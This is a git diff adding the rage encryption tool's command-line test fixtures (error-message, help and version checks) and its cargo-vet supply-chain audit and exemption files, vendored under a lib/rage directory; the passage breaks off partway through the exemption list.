a/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.toml b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.toml new file mode 100644 index 0000000..7c38637 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt -R recipients.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Recipients file 'recipients.txt' contains non-recipient data on line 1. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients-file.toml b/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients-file.toml new file mode 100644 index 0000000..d8fe386 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients-file.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt -R foobar.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Recipients file not found: foobar.txt + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients.toml b/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients.toml new file mode 100644 index 0000000..b8a9d25 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--encrypt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Missing recipients. +Did you forget to specify -r/--recipient? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-mixed-identity-and-passphrase.toml b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-identity-and-passphrase.toml new file mode 100644 index 0000000..2b2c441 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-identity-and-passphrase.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt --identity key.txt --passphrase" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -i/--identity can't be used with -p/--passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipient-and-passphrase.toml b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipient-and-passphrase.toml new file mode 100644 index 0000000..4e7cd48 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipient-and-passphrase.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -r foobar -p" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -r/--recipient can't be used with -p/--passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipients-file-and-passphrase.toml b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipients-file-and-passphrase.toml new file mode 100644 index 0000000..eef4363 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipients-file-and-passphrase.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -R foobar.txt -p" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -R/--recipients-file can't be used with -p/--passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.toml b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.toml new file mode 100644 index 0000000..2234bbd --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.toml @@ -0,0 +1,15 @@ +bin.name = "rage" +args = "-e -i - -i - file.txt" +status = "failed" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.toml b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.toml new file mode 100644 index 0000000..7f4ab03 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -R - -i - file.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.toml b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.toml new file mode 100644 index 0000000..4a741a5 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-R - -R - file.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin.toml b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin.toml new file mode 100644 index 0000000..2c3a785 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin.toml @@ -0,0 +1,13 @@ +bin.name = "rage" +args = "-R -" +status = "failed" +stdin = """ +Test plaintext. +""" +stdout = "" +stderr = """ +Error: Standard input can't be used for multiple purposes. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-plugin-name-flag.toml b/lib/rage/rage/tests/cmd/rage/encrypt-plugin-name-flag.toml new file mode 100644 index 0000000..392202e --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-plugin-name-flag.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -j plugin-name" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -j can't be used with -e/--encrypt. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.in/file.txt b/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.in/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.in/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.toml b/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.toml new file mode 100644 index 0000000..8288565 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-e -R - -a file.txt" +stdin = """ +age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +""" +stdout = """ +-----BEGIN AGE ENCRYPTED FILE----- +... +-----END AGE ENCRYPTED FILE----- +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/help.toml b/lib/rage/rage/tests/cmd/rage/help.toml new file mode 100644 index 0000000..61047a9 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/help.toml @@ -0,0 +1,48 @@ +bin.name = "rage" +args = "--help" +stdout = """ +Usage: rage[EXE] [--encrypt] (-r RECIPIENT | -R PATH)... [-i IDENTITY] [-a] [-o OUTPUT] [INPUT] + rage[EXE] [--encrypt] --passphrase [-a] [-o OUTPUT] [INPUT] + rage[EXE] --decrypt [-i IDENTITY] [-o OUTPUT] [INPUT] + +Arguments: + [INPUT] Path to a file to read from. + +Options: + -h, --help Print this help message and exit. + -V, --version Print version info and exit. + -e, --encrypt Encrypt the input (the default). + -d, --decrypt Decrypt the input. + -p, --passphrase Encrypt with a passphrase instead of recipients. + --max-work-factor Maximum work factor to allow for passphrase decryption. + -a, --armor Encrypt to a PEM encoded format. + -r, --recipient Encrypt to the specified RECIPIENT. May be repeated. + -R, --recipients-file Encrypt to the recipients listed at PATH. May be repeated. + -i, --identity Use the identity file at IDENTITY. May be repeated. + -j Use age-plugin-PLUGIN-NAME in its default mode as an identity. + -o, --output Write the result to the file at path OUTPUT. + +INPUT defaults to standard input, and OUTPUT defaults to standard output. +If OUTPUT exists, it will be overwritten. + +RECIPIENT can be: +- An age public key, as generated by rage-keygen[EXE] ("age1..."). +- An SSH public key ("ssh-ed25519 AAAA...", "ssh-rsa AAAA..."). + +PATH is a path to a file containing age recipients, one per line +(ignoring "#" prefixed comments and empty lines). "-" may be used to +read recipients from standard input. + +IDENTITY is a path to a file with age identities, one per line +(ignoring "#" prefixed comments and empty lines), or to an SSH key file. +Passphrase-encrypted age identity files can be used as identity files. +Multiple identities may be provided, and any unused ones will be ignored. +"-" may be used to read identities from standard input. + +Example: + $ rage-keygen[EXE] -o key.txt + Public key: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p + $ tar cvz ~/data | rage[EXE] -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > data.tar.gz.age + $ rage[EXE] -d -i key.txt -o data.tar.gz data.tar.gz.age +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/help_it.toml b/lib/rage/rage/tests/cmd/rage/help_it.toml new file mode 100644 index 0000000..b7dbd84 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/help_it.toml @@ -0,0 +1,48 @@ +bin.name = "rage" +args = "--help" +env.add.LC_ALL = "it" +stdout = """ +Utilizzo: rage[EXE] [--encrypt] (-r DESTINATARIO | -R PERCORSO)... [-i IDENTITÀ] [-a] [-o OUTPUT] [INPUT] + rage[EXE] [--encrypt] --passphrase [-a] [-o OUTPUT] [INPUT] + rage[EXE] --decrypt [-i IDENTITÀ] [-o OUTPUT] [INPUT] + +Argomenti: + [INPUT] Posizione di un file di input. + +Opzioni: + -h, --help Presenta questo messaggio e esci. + -V, --version Presenta la versione e esci. + -e, --encrypt Cifra l'input (il default). + -d, --decrypt Decifra l'input. + -p, --passphrase Cifra con una passphrase invece che con i destinatari. + --max-work-factor Fattore di complessità massima per decifrare passphrase. + -a, --armor Codifica l'output della cifratura in PEM. + -r, --recipient Cifra al DESTINATARIO specificato. Può essere ripetuto. + -R, --recipients-file Cifra ai destinatari elencati in PERCORSO. Può essere ripetuto. + -i, --identity Usa il file IDENTITÀ. Può essere ripetuto. + -j Usa age-plugin-NOME-PLUGIN in modalità di default come identità. + -o, --output Scrivi l'output al file OUTPUT. + +INPUT ha come valore predefinito lo standard input, e OUTPUT ha come +valore predefinito lo standard output. + +DESTINATARIO può essere: +- Una chiave pubblica age, come generata da rage-keygen[EXE] ("age1..."). +- Una chiave pubblica SSH ("ssh-ed25519 AAAA...", "ssh-rsa AAAA..."). + +PERCORSO è il percorso ad un file contenente dei destinatari age, +uno per riga (ignorando i commenti che iniziano con "#" e le righe vuote). + +IDENTITÀ è il percorso ad un file contenente identità age, una per +riga (ignorando i commenti che iniziano con "#" e le righe vuote), o ad un +file contenente una chiave SSH. +I file di identità possono essere cifrati con age e una passphrase. +Possono essere fornite più identità, quelle inutilizzate verranno ignorate. + +Esempio: + $ rage-keygen[EXE] -o key.txt + Chiave pubblica: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p + $ tar cvz ~/data | rage[EXE] -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > data.tar.gz.age + $ rage[EXE] -d -i key.txt -o data.tar.gz data.tar.gz.age +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/identity-flag-ambiguous.toml b/lib/rage/rage/tests/cmd/rage/identity-flag-ambiguous.toml new file mode 100644 index 0000000..bdb8897 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/identity-flag-ambiguous.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-i key.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -i/--identity requires either -e/--encrypt or -d/--decrypt. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/mixed-encrypt-and-decrypt.toml b/lib/rage/rage/tests/cmd/rage/mixed-encrypt-and-decrypt.toml new file mode 100644 index 0000000..a853f95 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/mixed-encrypt-and-decrypt.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--encrypt --decrypt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -e/--encrypt can't be used with -d/--decrypt. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/malefic-mutant/src/tool/tiny_tools/mod.rs b/lib/rage/rage/tests/cmd/rage/same-input-and-output.in/same.txt similarity index 100% rename from malefic-mutant/src/tool/tiny_tools/mod.rs rename to lib/rage/rage/tests/cmd/rage/same-input-and-output.in/same.txt diff --git a/lib/rage/rage/tests/cmd/rage/same-input-and-output.toml b/lib/rage/rage/tests/cmd/rage/same-input-and-output.toml new file mode 100644 index 0000000..6a49d83 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/same-input-and-output.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-r foobar -o same.txt same.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Input and output are the same file 'same.txt'. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/version.toml b/lib/rage/rage/tests/cmd/rage/version.toml new file mode 100644 index 0000000..1f92da8 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/version.toml @@ -0,0 +1,6 @@ +bin.name = "rage" +args = "--version" +stdout = """ +rage 0.11.1 +""" +stderr = "" diff --git a/lib/rage/rage/tests/unix/rage/encrypt-passphrase-without-file-argument.toml b/lib/rage/rage/tests/unix/rage/encrypt-passphrase-without-file-argument.toml new file mode 100644 index 0000000..4b0c6be --- /dev/null +++ b/lib/rage/rage/tests/unix/rage/encrypt-passphrase-without-file-argument.toml @@ -0,0 +1,16 @@ +bin.name = "rage" +args = "-p" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Parsing Error: Error { input: "", code: Tag } + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" + +# We get an error from the `pinentry` crate because we've passed a real but invalid binary +# that does not speak the pinentry protocol. +[env.add] +PINENTRY_PROGRAM = "true" diff --git a/lib/rage/rage/tests/windows/rage/encrypt-passphrase-without-file-argument.toml b/lib/rage/rage/tests/windows/rage/encrypt-passphrase-without-file-argument.toml new file mode 100644 index 0000000..2f393d4 --- /dev/null +++ b/lib/rage/rage/tests/windows/rage/encrypt-passphrase-without-file-argument.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-p" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: File to encrypt must be passed as an argument when using -p/--passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/supply-chain/audits.toml b/lib/rage/supply-chain/audits.toml new file mode 100644 index 0000000..679e9d1 --- /dev/null +++ b/lib/rage/supply-chain/audits.toml @@ -0,0 +1,67 @@ + +# cargo-vet audits file + +[criteria.crypto-reviewed] +description = "The cryptographic code in this crate has been reviewed for correctness by a member of a designated set of cryptography experts within the project." + +[audits] + +[[trusted.pinentry]] +criteria = "safe-to-deploy" +user-id = 6289 # Jack Grigg (str4d) +start = "2020-01-12" +end = "2025-11-03" + +[[trusted.windows-sys]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-11-15" +end = "2024-08-06" + +[[trusted.windows-targets]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2022-09-09" +end = "2024-08-06" + +[[trusted.windows_aarch64_gnullvm]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2022-09-01" +end = "2024-08-06" + +[[trusted.windows_aarch64_msvc]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-11-05" +end = "2024-08-06" + +[[trusted.windows_i686_gnu]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-10-28" +end = "2024-08-06" + +[[trusted.windows_i686_msvc]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-10-27" +end = "2024-08-06" + +[[trusted.windows_x86_64_gnu]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-10-28" +end = "2024-08-06" + +[[trusted.windows_x86_64_gnullvm]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2022-09-01" +end = "2024-08-06" + +[[trusted.windows_x86_64_msvc]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-10-27" +end = "2024-08-06" diff --git a/lib/rage/supply-chain/config.toml b/lib/rage/supply-chain/config.toml new file mode 100644 index 0000000..c8f47ae --- /dev/null +++ b/lib/rage/supply-chain/config.toml @@ -0,0 +1,902 @@ + +# cargo-vet config file + +[cargo-vet] +version = "0.10" + +[imports.bytecode-alliance] +url = "https://raw.githubusercontent.com/bytecodealliance/wasmtime/main/supply-chain/audits.toml" + +[imports.embark-studios] +url = "https://raw.githubusercontent.com/EmbarkStudios/rust-ecosystem/main/audits.toml" + +[imports.fermyon] +url = "https://raw.githubusercontent.com/fermyon/spin/main/supply-chain/audits.toml" + +[imports.google] +url = "https://raw.githubusercontent.com/google/supply-chain/main/audits.toml" + +[imports.isrg] +url = "https://raw.githubusercontent.com/divviup/libprio-rs/main/supply-chain/audits.toml" + +[imports.mozilla] +url = "https://raw.githubusercontent.com/mozilla/supply-chain/main/audits.toml" + +[imports.zcash] +url = "https://raw.githubusercontent.com/zcash/rust-ecosystem/main/supply-chain/audits.toml" + +[imports.zcash.criteria-map] +ours = "crypto-reviewed" +theirs = "crypto-reviewed" + +[policy.age] +audit-as-crates-io = false + +[policy.age-core] +audit-as-crates-io = false + +[policy.age-plugin] +audit-as-crates-io = false + +[policy.rage] +audit-as-crates-io = false + +[[exemptions.aead]] +version = "0.5.1" +criteria = "safe-to-deploy" + +[[exemptions.aes]] +version = "0.8.2" +criteria = "safe-to-deploy" + +[[exemptions.aes-gcm]] +version = "0.10.3" +criteria = "safe-to-deploy" + +[[exemptions.aho-corasick]] +version = "1.1.1" +criteria = "safe-to-deploy" + +[[exemptions.android-tzdata]] +version = "0.1.1" +criteria = "safe-to-deploy" + +[[exemptions.anstream]] +version = "0.3.2" +criteria = "safe-to-deploy" + +[[exemptions.anstyle]] +version = "1.0.2" +criteria = "safe-to-deploy" + +[[exemptions.anstyle-parse]] +version = "0.2.1" +criteria = "safe-to-deploy" + +[[exemptions.anstyle-query]] +version = "1.0.0" +criteria = "safe-to-deploy" + +[[exemptions.anstyle-wincon]] +version = "1.0.2" +criteria = "safe-to-deploy" + +[[exemptions.arc-swap]] +version = "1.7.1" +criteria = "safe-to-deploy" + +[[exemptions.backtrace]] +version = "0.3.73" +criteria = "safe-to-run" + +[[exemptions.base64ct]] +version = "1.6.0" +criteria = "safe-to-deploy" + +[[exemptions.basic-toml]] +version = "0.1.9" +criteria = "safe-to-deploy" + +[[exemptions.bcrypt-pbkdf]] +version = "0.10.0" +criteria = "safe-to-deploy" + +[[exemptions.bech32]] +version = "0.9.1" +criteria = "safe-to-deploy" + +[[exemptions.block]] +version = "0.1.6" +criteria = "safe-to-deploy" + +[[exemptions.block-padding]] +version = "0.3.3" +criteria = "safe-to-deploy" + +[[exemptions.blowfish]] +version = "0.9.1" +criteria = "safe-to-deploy" + +[[exemptions.bzip2]] +version = "0.4.4" +criteria = "safe-to-deploy" + +[[exemptions.bzip2-sys]] +version = "0.1.11+1.0.8" +criteria = "safe-to-deploy" + +[[exemptions.cbc]] +version = "0.1.2" +criteria = "safe-to-deploy" + +[[exemptions.cc]] +version = "1.1.34" +criteria = "safe-to-deploy" + +[[exemptions.chacha20]] +version = "0.9.1" +criteria = "safe-to-deploy" + +[[exemptions.chacha20poly1305]] +version = "0.10.1" +criteria = "safe-to-deploy" + +[[exemptions.chrono]] +version = "0.4.38" +criteria = "safe-to-deploy" + +[[exemptions.ciborium]] +version = "0.2.2" +criteria = "safe-to-run" + +[[exemptions.ciborium-io]] +version = "0.2.2" +criteria = "safe-to-run" + +[[exemptions.ciborium-ll]] +version = "0.2.2" +criteria = "safe-to-run" + +[[exemptions.clap]] +version = "4.3.24" +criteria = "safe-to-deploy" + +[[exemptions.clap_builder]] +version = "4.3.24" +criteria = "safe-to-deploy" + +[[exemptions.clap_complete]] +version = "4.3.2" +criteria = "safe-to-deploy" + +[[exemptions.clap_derive]] +version = "4.3.12" +criteria = "safe-to-deploy" + +[[exemptions.clap_lex]] +version = "0.5.0" +criteria = "safe-to-deploy" + +[[exemptions.clap_mangen]] +version = "0.2.12" +criteria = "safe-to-deploy" + +[[exemptions.colorchoice]] +version = "1.0.2" +criteria = "safe-to-deploy" + +[[exemptions.console]] +version = "0.15.8" +criteria = "safe-to-deploy" + +[[exemptions.const-oid]] +version = "0.9.6" +criteria = "safe-to-deploy" + +[[exemptions.constant_time_eq]] +version = "0.1.5" +criteria = "safe-to-deploy" + +[[exemptions.content_inspector]] +version = "0.2.4" +criteria = "safe-to-run" + +[[exemptions.cookie-factory]] +version = "0.3.3" +criteria = "safe-to-deploy" + +[[exemptions.cpufeatures]] +version = "0.2.2" +criteria = "safe-to-deploy" + +[[exemptions.criterion]] +version = "0.3.6" +criteria = "safe-to-run" + +[[exemptions.criterion-cycles-per-byte]] +version = "0.6.1" +criteria = "safe-to-run" + +[[exemptions.criterion-plot]] +version = "0.4.5" +criteria = "safe-to-run" + +[[exemptions.crossbeam-utils]] +version = "0.8.8" +criteria = "safe-to-deploy" + +[[exemptions.ctr]] +version = "0.9.2" +criteria = "safe-to-deploy" + +[[exemptions.ctrlc]] +version = "3.4.2" +criteria = "safe-to-deploy" + +#[[exemptions.curve25519-dalek]] +#version = "4.2.0" +#criteria = "safe-to-deploy" + +#[[exemptions.curve25519-dalek-derive]] +#version = "0.1.0" +#criteria = "safe-to-deploy" + +[[exemptions.dashmap]] +version = "6.1.0" +criteria = "safe-to-deploy" + +[[exemptions.der]] +version = "0.7.8" +criteria = "safe-to-deploy" + +[[exemptions.digest]] +version = "0.9.0" +criteria = "safe-to-deploy" + +[[exemptions.displaydoc]] +version = "0.2.5" +criteria = "safe-to-deploy" + +[[exemptions.dunce]] +version = "1.0.5" +criteria = "safe-to-run" + +[[exemptions.encode_unicode]] +version = "0.3.6" +criteria = "safe-to-deploy" + +[[exemptions.env_logger]] +version = "0.10.2" +criteria = "safe-to-deploy" + +[[exemptions.filetime]] +version = "0.2.25" +criteria = "safe-to-deploy" + +[[exemptions.find-crate]] +version = "0.6.3" +criteria = "safe-to-deploy" + +[[exemptions.findshlibs]] +version = "0.10.2" +criteria = "safe-to-run" + +[[exemptions.fluent]] +version = "0.16.1" +criteria = "safe-to-deploy" + +[[exemptions.fluent-bundle]] +version = "0.15.3" +criteria = "safe-to-deploy" + +[[exemptions.fluent-syntax]] +version = "0.11.1" +criteria = "safe-to-deploy" + +[[exemptions.fuse_mt]] +version = "0.6.1" +criteria = "safe-to-deploy" + +[[exemptions.fuser]] +version = "0.13.0" +criteria = "safe-to-deploy" + +[[exemptions.futures-macro]] +version = "0.3.30" +criteria = "safe-to-deploy" + +[[exemptions.futures-sink]] +version = "0.3.30" +criteria = "safe-to-deploy" + +[[exemptions.futures-task]] +version = "0.3.25" +criteria = "safe-to-deploy" + +[[exemptions.futures-test]] +version = "0.3.30" +criteria = "safe-to-run" + +[[exemptions.futures-util]] +version = "0.3.21" +criteria = "safe-to-deploy" + +[[exemptions.generic-array]] +version = "0.14.6" +criteria = "safe-to-deploy" + +[[exemptions.getrandom]] +version = "0.2.10" +criteria = "safe-to-deploy" + +[[exemptions.ghash]] +version = "0.5.1" +criteria = "safe-to-deploy" + +[[exemptions.hashbrown]] +version = "0.14.2" +criteria = "safe-to-deploy" + +[[exemptions.hashbrown]] +version = "0.15.0" +criteria = "safe-to-run" + +[[exemptions.hermit-abi]] +version = "0.3.3" +criteria = "safe-to-deploy" + +[[exemptions.hermit-abi]] +version = "0.4.0" +criteria = "safe-to-deploy" + +[[exemptions.hkdf]] +version = "0.12.4" +criteria = "safe-to-deploy" + +[[exemptions.home]] +version = "0.5.5" +criteria = "safe-to-deploy" + +[[exemptions.humantime]] +version = "2.1.0" +criteria = "safe-to-deploy" + +[[exemptions.humantime-serde]] +version = "1.1.1" +criteria = "safe-to-run" + +[[exemptions.i18n-config]] +version = "0.4.7" +criteria = "safe-to-deploy" + +[[exemptions.i18n-embed]] +version = "0.15.2" +criteria = "safe-to-deploy" + +[[exemptions.i18n-embed-fl]] +version = "0.9.2" +criteria = "safe-to-deploy" + +[[exemptions.i18n-embed-impl]] +version = "0.8.4" +criteria = "safe-to-deploy" + +[[exemptions.iana-time-zone]] +version = "0.1.61" +criteria = "safe-to-deploy" + +[[exemptions.indexmap]] +version = "2.6.0" +criteria = "safe-to-run" + +[[exemptions.inferno]] +version = "0.11.17" +criteria = "safe-to-run" + +[[exemptions.intl-memoizer]] +version = "0.5.2" +criteria = "safe-to-deploy" + +[[exemptions.io_tee]] +version = "0.1.1" +criteria = "safe-to-deploy" + +[[exemptions.is-terminal]] +version = "0.4.13" +criteria = "safe-to-deploy" + +[[exemptions.jobserver]] +version = "0.1.24" +criteria = "safe-to-deploy" + +[[exemptions.js-sys]] +version = "0.3.60" +criteria = "safe-to-deploy" + +[[exemptions.libc]] +version = "0.2.158" +criteria = "safe-to-deploy" + +[[exemptions.libm]] +version = "0.2.2" +criteria = "safe-to-deploy" + +[[exemptions.libredox]] +version = "0.0.1" +criteria = "safe-to-deploy" + +[[exemptions.linux-raw-sys]] +version = "0.4.14" +criteria = "safe-to-deploy" + +[[exemptions.locale_config]] +version = "0.3.0" +criteria = "safe-to-deploy" + +[[exemptions.lock_api]] +version = "0.4.12" +criteria = "safe-to-deploy" + +[[exemptions.memchr]] +version = "2.6.3" +criteria = "safe-to-deploy" + +[[exemptions.minimal-lexical]] +version = "0.2.1" +criteria = "safe-to-deploy" + +[[exemptions.nix]] +version = "0.26.1" +criteria = "safe-to-deploy" + +[[exemptions.num-bigint-dig]] +version = "0.8.4" +criteria = "safe-to-deploy" + +[[exemptions.num-format]] +version = "0.4.4" +criteria = "safe-to-run" + +[[exemptions.num_cpus]] +version = "1.16.0" +criteria = "safe-to-deploy" + +[[exemptions.objc]] +version = "0.2.7" +criteria = "safe-to-deploy" + +[[exemptions.objc-foundation]] +version = "0.1.1" +criteria = "safe-to-deploy" + +[[exemptions.objc_id]] +version = "0.1.1" +criteria = "safe-to-deploy" + +[[exemptions.object]] +version = "0.36.5" +criteria = "safe-to-run" + +[[exemptions.once_cell]] +version = "1.15.0" +criteria = "safe-to-deploy" + +[[exemptions.os_pipe]] +version = "1.2.1" +criteria = "safe-to-run" + +[[exemptions.page_size]] +version = "0.5.0" +criteria = "safe-to-deploy" + +[[exemptions.parking_lot]] +version = "0.12.2" +criteria = "safe-to-deploy" + +[[exemptions.parking_lot_core]] +version = "0.9.10" +criteria = "safe-to-deploy" + +[[exemptions.password-hash]] +version = "0.4.2" +criteria = "safe-to-deploy" + +[[exemptions.pbkdf2]] +version = 